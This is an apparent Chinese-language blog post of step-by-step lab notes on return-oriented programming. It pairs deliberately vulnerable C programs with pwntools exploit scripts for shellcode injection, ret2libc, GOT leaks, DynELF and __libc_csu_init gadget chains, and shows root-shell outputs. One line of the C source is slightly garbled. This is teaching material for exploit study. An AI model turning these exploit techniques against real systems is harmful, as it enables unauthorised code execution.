BetaMao

一步一步学ROP调试笔记

字数统计: 2.3k阅读时长: 13 min
2017/09/05 Share

持续更新,未完待续

先放几条常用命令:
编译选项:

1
gcc -fno-stack-protector -z execstack -no-pie -o vul 1.c

开启core dump:

1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'

远程监听:

1
socat TCP4-LISTEN:10001,fork EXEC:./level1

搜索gadget:

1
2
3
4
5
6
ROPgadget --binary libc.so.6 --only "pop|call" | grep rdi

ROPgadget --console
binary file
load
search pop pop pop ret

Control Flow Hijack

实验环境

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       No NX found
PIE:      Enable
ASLR:     0

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void flow(){
char buf[128];
read(STDIN_FILENO,buf,256);
}
int main(){
flow();
char a[]="hello";
write(STDOUT_FILENO,a,strlen(a));
return 0;
}

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"

retAddr = 0xbffff300

payload = shellcode+(140-len(shellcode))*'a'+p32(retAddr)

p = process('./vul')
#p = remote('127.0.0.1',10001)

p.send(payload)

p.interactive()

结果

1
2
3
4
5
6
7
root@kali:~/rop/linux32# python exp-1.py 
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './vul': pid 4860
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$

Ret2libc – Bypass DEP

还是上面那个程序,编译时去掉执行栈选项,可以使用cat /proc/[pid]/maps查看内存情况,它已经没有执行权限了,那就用其他方法咯。

实验环境

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       Enable
PIE:      Enable
ASLR:     0

查找’\bin\sh’

1
2
3
4
5
6
7
8
9
gdb-peda$ p system

$1 = {<text variable, no debug info>} 0xb7e37b30 <__libc_system>

gdb-peda$ searchmem '/bin/sh' /lib/i386-linux-gnu/libc-2.24.so

Searching for '/bin/sh' in: /lib/i386-linux-gnu/libc-2.24.so ranges
Found 1 results, display max 1 items:
libc : 0xb7f59dc8 ("/bin/sh")

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

sh = 0xb7f59dc8
system = 0xb7e37b30
ret = 0x80000642

payload = 'a'*140+p32(system)+p32(ret)+p32(sh)

p = process('./level2')
#p = remote('127.0.0.1',1234)

p.send(payload)

p.interactive()

结果

1
2
3
4
5
6
7
root@kali:~/rop/linux32# python exp-2.py 
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './level2': pid 5054
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)
$

ROP– Bypass DEP and ASLR

此处有坑,在21世纪的17年,kali下的gcc 6.3默认开了PIE于是算出来的位置是偏移位置并且地址会随机化,所以不能使用这种方法,下面的实验使用了-no-pie编译选项。首先开启ASLR,然后编写利用代码。

实验环境

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       Enable
PIE:      No
ASLR:     2

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

elf = ELF('./level3')
libc = ELF('./libc.so.6')

writePlt = elf.symbols['write']
#writePlt = 0x80000460
print 'writePlt:'+hex(writePlt)

writeGot = elf.got['write']
#writeGot = 0x80002018
print 'writeGot:'+hex(writeGot)

flow = elf.symbols['flow']
#flow = 0x800005f0
#p = process('./level3')
p = remote('127.0.0.1',1234)

payload = 'a'*140+p32(writePlt)+p32(flow)+p32(1)+p32(writeGot)+p32(4)

p.send(payload)
writeAddr = u32(p.recv(4))

print "writeAddr:"+hex(writeAddr)

systemAddr = writeAddr - (libc.symbols['write']-libc.symbols['system'])
binAddr = writeAddr - (libc.symbols['write']-next(libc.search('/bin/sh')))

payload = 'a'*140+p32(systemAddr)+p32(flow)+p32(binAddr)
p.send(payload)
p.interactive()

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
root@kali:~/rop/linux32# python exp-3.py 
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[*] '/root/rop/linux32/level3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/root/rop/linux32/libc.so.6'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
writePlt:0x8048350
writeGot:0x804a018
[+] Opening connection to 127.0.0.1 on port 1234: Done
writeAddr:0xb75fdcc0
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) groups=0(root)

Memory Leak & DynELF

这次没有libc库文件了,使用信息泄露。

实验环境

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       Enable
PIE:      No
ASLR:     2

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

elf = ELF('level3')
writePlt = elf.plt['write']
writeGot = elf.got['write']
flowAddr = elf.symbols['flow']
readPlt = elf.plt['read']

def leak(address):
payloadLeak = 'a'*140+p32(writePlt)+p32(flowAddr)+p32(1)+p32(address)+p32(4)
p.send(payloadLeak)
leakAddr = p.recv(4)
print "%#x ===> %s"%(address,(leakAddr or "").encode('hex'))
return leakAddr

p = process('./level4')
#p = remote('127.0.0.1',1234)

d = DynELF(leak,elf=elf)
systemAddr = d.lookup('system','libc')
#bssAddr = 0x0804a024
dataAddr = 0x0804a01c
bssAddr = dataAddr

pppr = 0x0804830a

payload = 'a'*140+p32(readPlt)+p32(pppr)+p32(0)+p32(bssAddr)+p32(8)
payload += p32(systemAddr)+p32(flowAddr)+p32(bssAddr)

p.send(payload)
gdb.attach(p)
p.send('/bin/sh\0')
p.interactive()

结果

失败了,经过调试发现对system的调用是没有问题的,但是在system内部调用的是execvep,而在获取它的第三个参数时出现了错误导致此函数会执行失败,暂时没有调试发现错误原因。先暂时放下

Rop-linux-x64-simple

实验环境

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
ASLR:     2

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//编译时需要加上-ldl选项
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>
void systemaddr()
{
void* handle = dlopen("libc.so.6", RTLD_LAZY)0;0
printf("%p\n",dlsym(handle,"system"));
fflush(stdout);
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
systemaddr();
write(1, "Hello, World\n", 13);
vulnerable_function();
}

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

p=process('level1')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

systemAddr = int(p.recvline(),16)

print hex(systemAddr)

shAddr = next(libc.search('/bin/sh'))-(libc.symbols['system']-systemAddr)

#gdb.attach(p)

popRdiRet = 0x00000000004007f3
payload = 'a'*136+p64(popRdiRet)+p64(shAddr)+p64(systemAddr)
p.send(payload)
p.interactive()

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
[!] Could not find executable 'level1' in $PATH, using './level1' instead
[+] Starting local process './level1': pid 3514
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7f843ad20450
[*] Switching to interactive mode
Hello, World
$ id
uid=0(root) gid=0(root) groups=0(root)
$

__libc_csu_init

实验环境

[*] '/root/rop/linux64/level2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    ASLR:     2

漏洞代码

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
int main(int argc, char** argv) {
write(STDOUT_FILENO, "Hello, World\n", 13);
vulnerable_function();
}

反汇编init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
4005a0:	41 57                	push   %r15
4005a2: 41 56 push %r14
4005a4: 41 89 ff mov %edi,%r15d
4005a7: 41 55 push %r13
4005a9: 41 54 push %r12
4005ab: 4c 8d 25 56 08 20 00 lea 0x200856(%rip),%r12 # 600e08 <__frame_dummy_init_array_entry>
4005b2: 55 push %rbp
4005b3: 48 8d 2d 56 08 20 00 lea 0x200856(%rip),%rbp # 600e10 <__init_array_end>
4005ba: 53 push %rbx
4005bb: 49 89 f6 mov %rsi,%r14 ;r14
4005be: 49 89 d5 mov %rdx,%r13
4005c1: 4c 29 e5 sub %r12,%rbp
4005c4: 48 83 ec 08 sub $0x8,%rsp
4005c8: 48 c1 fd 03 sar $0x3,%rbp
4005cc: e8 2f fe ff ff callq 400400 <_init>
4005d1: 48 85 ed test %rbp,%rbp
4005d4: 74 20 je 4005f6 <__libc_csu_init+0x56>
4005d6: 31 db xor %ebx,%ebx ;
4005d8: 0f 1f 84 00 00 00 00 nopl 0x0(%rax,%rax,1) ;对齐用
4005df: 00
4005e0: 4c 89 ea mov %r13,%rdx ;r13->rdx 第二个位置起始处
4005e3: 4c 89 f6 mov %r14,%rsi ;r14->rsi
4005e6: 44 89 ff mov %r15d,%edi ;r15d->edi
4005e9: 41 ff 14 dc callq *(%r12,%rbx,8) ;[r12+rbx*8]
4005ed: 48 83 c3 01 add $0x1,%rbx ;此时rbx为1
4005f1: 48 39 dd cmp %rbx,%rbp ;
4005f4: 75 ea jne 4005e0 <__libc_csu_init+0x40>;不跳转这样就可以循环啦
4005f6: 48 83 c4 08 add $0x8,%rsp
4005fa: 5b pop %rbx ;置为0 第一个位置起始处
4005fb: 5d pop %rbp ;置为1
4005fc: 41 5c pop %r12 ;地址
4005fe: 41 5d pop %r13 ;
400600: 41 5e pop %r14 ;
400602: 41 5f pop %r15 ;
400604: c3 retq ; 跳转到第二个位置
400605: 90 nop
400606: 66 2e 0f 1f 84 00 00 nopw %cs:0x0(%rax,%rax,1)
40060d: 00 00 00
1
2
3
4
5
6
7
#用于任意地址读
#rdi = edi = r15,rsi = r14,rdx = r13
#write(rdi,rsi,rdx)
payload1 = 'a'*136
payload1 += p64(0x4005fa)+p64(0)+p64(1)+p64(writeGot)+p64(8)+p64(rAddress)+p64(1)
payload1 += p64(0x4005e0)+'12345678'*7
payload1 += p64(mainAddr)
1
2
3
4
5
#用于任意地址写
payload2 = 'a'*136
payload2 += p64(0x4005fa)+p64(0)+p64(1)+p64(readGot)+p64(8)+p64(wAddress)+p64(0)
payload2 += p64(0x4005e0)+'12345678'*7
payload2 += p64(mainAddr)
1
2
3
4
5
#获取shell
payload3 = 'a'*136
payload3 += p64(0x4005fa)+p64(0)+p64(1)+p64(systemAddrPointer)+p64(0)+p64(0)+p64(shAddr)
payload3 += p64(0x4005e0)+'12345678'*7
payload3 += p64(mainAddr)

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#coding=utf-8
from pwn import *

#这道给了so文件就不用信息泄露了
def leak(rAddress):
payload1 = 'a'*136
payload1 += p64(0x4005fa)+p64(0)+p64(1)+p64(writeGot)+p64(8)+p64(rAddress)+p64(1)
payload1 += p64(0x4005e0)+'12345678'*7
payload1 += p64(mainAddr)
p.send(payload1)
p.recvuntil('Hello, World\n')
data = p.recv(8)
print "%#x ===> %s"%(rAddress,(data or "").encode('hex'))
return data

def arbWrite(wAddress,data):
payload2 = 'a'*136
payload2 += p64(0x4005fa)+p64(0)+p64(1)+p64(readGot)+p64(8)+p64(wAddress)+p64(0)
payload2 += p64(0x4005e0)+'12345678'*7
payload2 += p64(mainAddr)
p.send(payload2)
p.send(p64(data))

elf = ELF('level2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

writeGot = elf.got['write']
readGot = elf.got['read']
mainAddr = elf.symbols['main']
bssAddr = elf.bss()
#dataAddr = elf.get_section_by_name('.data').header.sh_addr

p = process('level2')

#d = DynELF(leak,elf=elf)
#systemAddr = d.lookup('system','libc')

## 读取writeAddr
writeAddr = u64(leak(writeGot))
print 'writeAddr =====> %#x'%(writeAddr)

## 计算system地址
systemAddr = writeAddr -(libc.symbols['write']-libc.symbols['system'])
print 'systemAddr =====> %#x'%(systemAddr)
## 计算/bin/sh地址
shAddr = writeAddr - (libc.symbols['write']-next(libc.search('/bin/sh')))
print 'shAddr ======> %#x'%(shAddr)
## 将systemAddr写入bss
p.recvuntil('Hello, World\n')
gdb.attach(p)
arbWrite(bssAddr,systemAddr)

## 执行system
p.recvuntil('Hello, World\n')
systemAddrPointer = bssAddr
payload3 = 'a'*136
payload3 += p64(0x4005fa)+p64(0)+p64(1)+p64(systemAddrPointer)+p64(0)+p64(0)+p64(shAddr)
payload3 += p64(0x4005e0)+'12345678'*7
payload3 += p64(mainAddr)
p.send(payload3)
p.interactive()

哇哈哈哈哈,这个代码不能执行成功,因为。。。。我偷懒了,直接用了libc库里面的/bin/sh,然而,整个过程其实都是假设rdi==edi,但是当地址过高就会出错,好吧,不偷懒

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#coding=utf-8
from pwn import *

#这道给了so文件就不用信息泄露了
def leak(rAddress):
payload1 = 'a'*136
payload1 += p64(0x4005fa)+p64(0)+p64(1)+p64(writeGot)+p64(8)+p64(rAddress)+p64(1)
payload1 += p64(0x4005e0)+'12345678'*7
payload1 += p64(mainAddr)
p.send(payload1)
p.recvuntil('Hello, World\n')
data = p.recv(8)
print "%#x ===> %s"%(rAddress,(data or "").encode('hex'))
return data

def arbWrite(wAddress,data):
payload2 = 'a'*136
payload2 += p64(0x4005fa)+p64(0)+p64(1)+p64(readGot)+p64(8)+p64(wAddress)+p64(0)
payload2 += p64(0x4005e0)+'12345678'*7
payload2 += p64(mainAddr)
p.send(payload2)
sleep(2)
p.send(data)

elf = ELF('level2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

writeGot = elf.got['write']
readGot = elf.got['read']
mainAddr = elf.symbols['main']
bssAddr = elf.bss()
dataAddr = elf.get_section_by_name('.data').header.sh_addr

p = process('level2')

#d = DynELF(leak,elf=elf)
#systemAddr = d.lookup('system','libc')

## 读取writeAddr
writeAddr = u64(leak(writeGot))
print 'writeAddr =====> %#x'%(writeAddr)

## 计算system地址
systemAddr = writeAddr -(libc.symbols['write']-libc.symbols['system'])
print 'systemAddr =====> %#x'%(systemAddr)
## 计算/bin/sh地址
#shAddr = writeAddr - (libc.symbols['write']-next(libc.search('/bin/sh')))
#print 'shAddr ======> %#x'%(shAddr)
## 将systemAddr写入bss
p.recvuntil('Hello, World\n')
gdb.attach(p)
arbWrite(bssAddr,p64(systemAddr))

## 将/bin/sh写入data
p.recvuntil('Hello, World\n')
arbWrite(dataAddr,'/bin/sh\0')

## 执行system
p.recvuntil('Hello, World\n')
systemAddrPointer = bssAddr
shAddr = dataAddr

payload3 = 'a'*136
payload3 += p64(0x4005fa)+p64(0)+p64(1)+p64(systemAddrPointer)+p64(0)+p64(0)+p64(shAddr)
payload3 += p64(0x4005e0)+'12345678'*7
payload3 += p64(mainAddr)
p.send(payload3)
p.interactive()

emmmm,调着调着突然想起,system只需要一个参数,完全可以使用其他的gadget,感觉智商被掏空。

结果

CATALOG
  1. 1. Control Flow Hijack
    1. 1.1. 实验环境
    2. 1.2. 漏洞代码
    3. 1.3. 利用代码
    4. 1.4. 结果
  2. 2. Ret2libc – Bypass DEP
    1. 2.1. 实验环境
    2. 2.2. 查找’\bin\sh’
    3. 2.3. 利用代码
    4. 2.4. 结果
  3. 3. ROP– Bypass DEP and ASLR
    1. 3.1. 实验环境
    2. 3.2. 利用代码
    3. 3.3. 结果
  4. 4. Memory Leak & DynELF
    1. 4.1. 实验环境
    2. 4.2. 利用代码
    3. 4.3. 结果
  5. 5. Rop-linux-x64-simple
    1. 5.1. 实验环境
    2. 5.2. 漏洞代码
    3. 5.3. 利用代码
    4. 5.4. 结果
  6. 6. __libc_csu_init
    1. 6.1. 实验环境
    2. 6.2. 漏洞代码
    3. 6.3. 反汇编init
    4. 6.4. 利用代码
    5. 6.5. 结果